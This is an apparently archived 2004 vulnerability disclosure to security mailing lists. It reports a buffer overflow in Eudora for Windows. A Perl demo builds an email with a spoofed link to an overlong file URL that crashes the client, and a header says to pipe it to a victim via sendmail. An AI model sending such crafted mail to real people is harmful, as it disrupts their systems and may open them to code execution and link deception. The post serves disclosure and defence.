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Message-ID: <200405070210.i472AxU368809@milan.maths.usyd.edu.au>
Date: Fri, 7 May 2004 12:10:59 +1000 (EST)
From: psz@...hs.usyd.edu.au (Paul Szabo)
To: NTBugtraq@...tserv.ntbugtraq.com, beckley@...lcomm.com,
   bugtraq@...urityfocus.com, full-disclosure@...ts.netsys.com
Subject: Eudora file URL buffer overflow


There is a buffer overflow in Eudora for Windows, verified on versions
6.1, 6.0.3 and 5.2.1. This is easily exploitable to run arbitrary code.
I do not know if this issue affects Eudora for Macs.

Demo:

#!/usr/bin/perl --
print "From: me\n";
print "To: you\n";
print "Subject: Eudora file URL buffer overflow demo\n";
print "X-Use: Pipe the output of this script into:  sendmail -i victim\n\n";
print "The following is a \"proper\" HTML URL, pointing to somewhere long:\n";
print "<x-html>\n";
print "<a href=\"C:\\", "A"x300, "\">\n";
print "Fake URL to http://anywhere/I/want</a>\n";
print "</x-html>\n";
print "Clicking above will crash Eudora.\n\n";
print "The following plain-text converted by Eudora into a clickable URL\n";
print "http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx\n";
print "is for comparison: the user can hardly tell them apart.\n\n";

Cheers,

Paul Szabo - psz@...hs.usyd.edu.au  http://www.maths.usyd.edu.au:8000/u/psz/
School of Mathematics and Statistics  University of Sydney   2006  Australia

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